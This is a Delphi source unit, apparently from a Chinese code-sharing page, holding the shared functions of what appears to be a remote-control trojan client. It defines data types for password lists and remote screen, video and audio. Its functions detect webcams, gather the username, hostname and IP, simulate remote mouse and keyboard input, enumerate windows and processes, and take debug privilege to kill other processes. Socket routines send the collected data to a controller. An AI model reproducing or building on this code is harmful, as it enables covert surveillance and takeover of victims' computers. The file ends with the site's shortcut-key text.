📄 publicfunctionunit.pas
字号:
unit PublicFunctionUnit;
interface
uses
windows,
WinSock,
WinSock2,
ShlObj,
ActiveX,
ShellAPI,
TlHelp32,
Lzo,
MxZLib,
messages;
{$DEFINE _MiniLzo}
const
//
DATA_BUFSIZE = 4096;//8192
dwTimeout : DWord = 2000;
//自定义消息
TerminateNotifyMessage = $0400 + 303;
WsaNotifyMessage = $0400 + 300;
//定义一些数据,用来描述本客户端
ServerUseSelfDefine : array[0..150] of Char = '小牛牛';
ClientVersion : array[0..15] of Char = '1.025 Beta';
ClientIconIndex : Byte = 0;
(*-------------------以下命令设置,是各单元都可以使用的-------------------*)
//命令回复数据
NOCMDReplay = 0;
VideoReplay = 10001;
VideoStartErrorReplay = 10002;
VideoStartSucessReplay = 10003;
VideoDESCRIPListReplay = 10004;
VideoCodeIniErrorReplay = 10005; //编码初始化错误
VideoSendBitmapInfoReplay = 10006; //发送编码图像头
type
TDriverDescriptionArray = array[0..39] of Char;
type
WSANETWORKEVENTS = packed record
lNetWorkEvents : longint;
iErrorCode : array[0..(FD_MAX_EVENTS - 1)] of integer;
end;
//数据包头
TDataHeaderInfo = packed record
UnCompressedDataSize : DWord;
CompressedDataSize : DWord;
DataType : DWORD; //描述数据是命令回复的数据还是流数据
end;
//记录鼠标和键盘动作的结构
TKeyAndCursorData = packed record
HeadTag : Byte;
WMtpye : LongWord;
MouseX : integer;
MouseY : integer;
end;
//交互的命令格式--详细描述见文件开始
TInterChangeHeader = packed record
OrderObject : DWORD;
Order : DWORD;
OrderExtend : DWORD;
ExdSource : DWORD;
ExdDest : DWORD;
end;
//xml写入的信息类型
TXMLType = (NothingType, FileListTypeDir, FileListTypeDriver, SystemInfoType, WindowsListType, ProcessListType,
ServiceListType, PasswordListType);
//命令对象
TOrderObject = (MainSocketData, RemoteScreenData, RemoteVideoData, RemoteAudioData,
GetSystemInfoData, RemoteFileData);
//系统信息 TRemoteSystemInfo = packed record LocalIPaddressString : array[0..14] of Char;//ip内网地址 ServerIconIndex : Byte; //socket在liestview里面的头像编号
ServerVersion : array[0..15] of Char; //远程主机的服务端版本号
CurrentUserName : array[0..150] of Char; //远程主机的用户名
SystemVersion : TOSVersionInfo; //远程主机的操作系统类型 UseSelfDefine : array[0..150] of Char; //备注 WebCamCount : Byte; //摄像头数量 RemoteDataType : TOrderObject; //标识对象数据类型 PerIODataPointer : DWORD; //指向一个单io数据的指针,记录server发来的单io的指针 end;//得到系统的相关信息
function HostToIP(Name: string; var Ip: string): Boolean;
procedure GetLocalIP(out LocalIP : array of Char);
function DetectWebCam(const NeedGetName : Boolean = False) : Byte;
procedure GetUserAndHostName(out ArrayAdd : array of Char);
//模拟鼠标和键盘
procedure SimulateRemoteMouseAndKey(Msg : TMsg);
//负责安全发送指定数量的数据的
function SendAllTheData(const Socket : TSocket; WillBeSentData : Pointer;
const CompressedDataSize : DWord; const UnCompressedDataSize : DWord = 0;
const SendNotifyEvent : THandle = 0; const DataType : DWORD = 0) : integer;
//确保数据包能被全部接受完毕
function RecvAllData(const Socket : TSocket; PakageDataRecv : Pointer;
const PakageLengthToRecv : LongInt; var ActuallyRecvSize : LongInt;
const RecvNotifyEvent : THandle = 0) : integer;
//获取文件列表,主机信息,进程列表等等,并发送--要求FilePath的最后一个字符是‘\’
procedure GetListAndSend(const Socket : TSocket; const FilePath : string;
const EnterSubDir : Boolean = False; const XMLType : TXMLType = NothingType);
//发送主机相关的信息
procedure SendClientSystemInfo(const Socket : TSocket);
//发送窗口列表信息
procedure SendAllWindowList(const Socket : TSocket);
//发送进程列表信息
procedure GetProcessListAndSend(const Socket : TSocket);
//检查文件夹是否存在
function DirectoryExists(const Directory: string): boolean;
//获取文件夹
function ExtractFilePath(sFile: String): String; stdcall;
//获取文件名
function ExtractFileName(sFile: String): String; stdcall;
//转换整数到字符串
function IntToStr(IntValue : integer) : string;
//转换字符串到整数
function StrToInt(ConvertStr : string) : integer;
//转化为hex字符串
function IntToHex(dwValue, dwDigits: DWord): String; stdcall;
//求得最小值
function Min(const A, B: Integer): Integer;
//释放类实例,并nil指针
procedure FreeAndNil(var Obj);
//转为大写
function UpperCase(sString: String): String; stdcall;
//转为小写
function LowerCase(sString: String): String; stdcall;
//让本进程获得调试权限,以便能结束其他进程
function EnableDebugPrivilege : Boolean;
//类函数实例化
function MakeProcInstance(M: TMethod): Pointer;
//释放掉实例化的内存
procedure FreeProcInstance(ProcInstance: Pointer);
//检查文件是否存在
function FileExists(const FileName: string): Boolean;
var
RemoteSystemInfo : TRemoteSystemInfo;
DriverDescriptionArray : array[0..9] of TDriverDescriptionArray;//获得视频设备描述
//窗口列表
WindowListStr : string = '';
WindowsNumber : integer = 0;
//枚举窗口完毕以后,通知发送
FinishSearchWindowNotifyEvent : THandle;
implementation
{------------------------------全局使用的函数-------------------------------}
function capGetDriverDescription(wDriverIndex : WORD; lpszName : PChar;
cbName : integer; lpszVer : PChar; cbVer : integer) : Boolean; stdcall;
external 'avicap32.dll' name 'capGetDriverDescriptionA';
//将域名转换为IP
function HostToIP(Name: string; var Ip: string): Boolean;
var
hostName : array [0..255] of char;
hostEnt : PHostEnt;
addr : PChar;
begin
GetHostName(hostName, SizeOf(hostName));
ZeroMemory(@hostName[0], 256);
MoveMemory(@hostName[0], PChar(Name), Length(Name));
hostEnt := GetHostByName(hostName);
if Assigned (hostEnt) then
if Assigned (hostEnt^.h_addr_list) then begin
addr := hostEnt^.h_addr_list^;
if Assigned (addr) then begin
IP := IntToStr(Byte(addr[0])) + '.' + IntToStr(Byte(addr[1])) + '.' +
IntToStr(Byte(addr[2])) + '.' + IntToStr(Byte(addr[3]));
Result := True;
end
else
Result := False;
end
else
Result := False
else begin
Result := False;
end;
end;
//得到本地局域网的IP
procedure GetLocalIP(out LocalIP : array of Char);
type
TaPInAddr = array[0..10] of PInAddr;
PaPInAddr = ^TaPInAddr;
var
phe : PHostEnt;
pptr : PaPInAddr;
Buffer : array [0..63] of char;
tmpStr : string;
begin
GetHostName(Buffer, SizeOf(Buffer));
phe := GetHostByName(buffer);
if phe = nil then Exit;
pptr := PaPInAddr(Phe^.h_addr_list);
tmpStr := inet_ntoa(pptr^[0]^);
ZeroMemory(@LocalIP[0], SizeOf(LocalIP));
MoveMemory(@LocalIP[0], @tmpStr[1], Length(tmpStr));
end;
//检测摄像头数量和驱动描述
function DetectWebCam(const NeedGetName : Boolean = False) : Byte;
var
achDeviceName : array[0..79] of Char;
achDeviceAndVersion : array[0..79] of Char;
uIndex : integer;
isOk : Boolean;
WebCamCount : byte;
begin
ZeroMemory(@DriverDescriptionArray[0][0], sizeof(DriverDescriptionArray));
WebCamCount := 0;
for uIndex := 0 to 9 do
begin
isOk := capGetDriverDescription(uIndex, achDeviceName,
SizeOf(achDeviceName), achDeviceAndVersion, SizeOf(achDeviceAndVersion));
if isOk then
begin
if NeedGetName then
CopyMemory(@DriverDescriptionArray[uIndex][0],
@achDeviceName[0], sizeof(TDriverDescriptionArray));
Inc(WebCamCount);
end;
end;
Result := WebCamCount;
end;
//得到当前登录的用户名
procedure GetUserAndHostName(out ArrayAdd : array of Char);
var
tmpArray1 : array[0..55] of Char;
CurrentUserNameSize : DWORD;
HostEnt: PHostEnt;
IPAddress: string;
addr: dword;
begin
//得到当前用户名
ZeroMemory(@ArrayAdd[0], SizeOf(tmpArray1));
CurrentUserNameSize := SizeOf(tmpArray1);
GetUserName(tmpArray1, CurrentUserNameSize);
//得到当前的主机名
IPAddress := RemoteSystemInfo.LocalIPaddressString;
addr := inet_addr(PChar(IPAddress));
HostEnt:= GetHostByAddr(@addr, Length(IPAddress), PF_INET);
IPAddress := HostEnt.h_name;
IPAddress := IPAddress + '/' + tmpArray1;
//返回主机名和用户名
ZeroMemory(@ArrayAdd[0], SizeOf(tmpArray1));
MoveMemory(@ArrayAdd[0], @IPAddress[1], Length(IPAddress));
end;
//模拟鼠标和键盘
procedure SimulateRemoteMouseAndKey(Msg : TMsg);
begin
case Msg.message of
WM_KEYDOWN:
begin
keybd_event(Msg.wParam, 0, 0, 0);
keybd_event(Msg.wParam, 0, KEYEVENTF_KEYUP, 0);
end;
WM_LBUTTONDOWN:
begin
mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
end;
WM_LBUTTONUP:
begin
mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
end;
WM_RBUTTONDOWN:
begin
mouse_event(MOUSEEVENTF_RIGHTDOWN,0,0,0,0);
end;
WM_RBUTTONUP:
begin
mouse_event(MOUSEEVENTF_RIGHTUP,0,0,0,0);
end;
WM_MOUSEMOVE:
begin
SetCursorPos(Msg.wParam,Msg.lParam);
end;
WM_LBUTTONDBLCLK:
begin
mouse_event(MOUSEEVENTF_LEFTDOWN or MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
mouse_event(MOUSEEVENTF_LEFTDOWN or MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
end;
WM_RBUTTONDBLCLK:
begin
mouse_event(MOUSEEVENTF_RIGHTDOWN or MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
mouse_event(MOUSEEVENTF_RIGHTDOWN or MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
end;
end;
end;
{--------------------------------数据收发函数部分------------------------------}
//负责安全发送指定数量的数据的
function SendAllTheData(const Socket : TSocket; WillBeSentData : Pointer;
const CompressedDataSize : DWord; const UnCompressedDataSize : DWord = 0;
const SendNotifyEvent : THandle = 0; const DataType : DWORD = 0) : integer;
var
LoopInt : DWord;
ActuallySentSizePerPakage : integer;
myDataHeaderInfo : TDataHeaderInfo;
//确保数据包能被全部发送完毕,数据重发机制
function SendAllPakageData(const Socket : TSocket; PakageDataSent : Pointer;
const PakageLength : integer; var ActuallySentSize : integer) : integer;
var
ErrorCode : LongInt;
TotalSent : integer;
SendBytePerSend, BytesLeft : integer;
begin
TotalSent := 0;// how many bytes we've sent
BytesLeft := PakageLength;// how many we have left to send
SendBytePerSend := 0;
while (TotalSent < PakageLength) do
begin
SendBytePerSend := Send(Socket, Pointer(DWord(PakageDataSent) + DWord(TotalSent))^, BytesLeft, 0);
if SendBytePerSend = SOCKET_ERROR then
begin
ErrorCode := WSAGetLastError;
if ErrorCode = WSAEWOULDBLOCK then
begin
if SendNotifyEvent = 0 then
Sleep(1)
else
WaitForSingleObject(SendNotifyEvent, 1);
Continue;
end
else
Break;
end;
TotalSent := TotalSent + SendBytePerSend;
BytesLeft := BytesLeft - SendBytePerSend;
end;
ActuallySentSize := TotalSent;// return number actually sent here
Result := Min(SendBytePerSend, 0);
end;
begin
//发送数据头
myDataHeaderInfo.UnCompressedDataSize := UnCompressedDataSize;
myDataHeaderInfo.CompressedDataSize := CompressedDataSize;
myDataHeaderInfo.DataType := DataType;
Result := SendAllPakageData(Socket, @myDataHeaderInfo, SizeOf(myDataHeaderInfo), ActuallySentSizePerPakage);
if Result = SOCKET_ERROR then Exit;
//发送数据本身
LoopInt := 0;
repeat
if CompressedDataSize - LoopInt >= DATA_BUFSIZE then
Result := SendAllPakageData(Socket, Pointer(DWord(WillBeSentData) + LoopInt),
DATA_BUFSIZE, ActuallySentSizePerPakage)
else
Result := SendAllPakageData(Socket, Pointer(DWord(WillBeSentData) + LoopInt),
CompressedDataSize - LoopInt, ActuallySentSizePerPakage);
//发送状态
if Result = SOCKET_ERROR then
Break
else
//计数器累加
LoopInt := LoopInt + Dword(ActuallySentSizePerPakage);
until (LoopInt >= CompressedDataSize);
end;
//确保数据包能被全部接受完毕
function RecvAllData(const Socket : TSocket; PakageDataRecv : Pointer;
const PakageLengthToRecv : LongInt; var ActuallyRecvSize : LongInt;
const RecvNotifyEvent : THandle = 0) : integer;
var
ErrorCode : LongInt;
TotalRecv : LongInt;
RecvBytePerRecv, BytesLeft : LongInt;
begin
TotalRecv := 0;
BytesLeft := PakageLengthToRecv;
RecvBytePerRecv := 0;
while (TotalRecv < PakageLengthToRecv) do
begin
RecvBytePerRecv := Recv(Socket, Pointer(DWord(PakageDataRecv) + DWord(TotalRecv))^, BytesLeft, 0);
if RecvBytePerRecv = SOCKET_ERROR then
begin
ErrorCode := WSAGetLastError;
if ErrorCode = WSAEWOULDBLOCK then
begin
if RecvNotifyEvent = 0 then
Sleep(1)
else
WaitForSingleObject(RecvNotifyEvent, 1);
Continue;
end
else
Break;
end;
TotalRecv := TotalRecv + RecvBytePerRecv;
BytesLeft := BytesLeft - RecvBytePerRecv;
end;
ActuallyRecvSize := TotalRecv;
Result := Min(RecvBytePerRecv, 0);
end;
(*-------------------------以下的函数是与文件操作相关------------------------*)
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -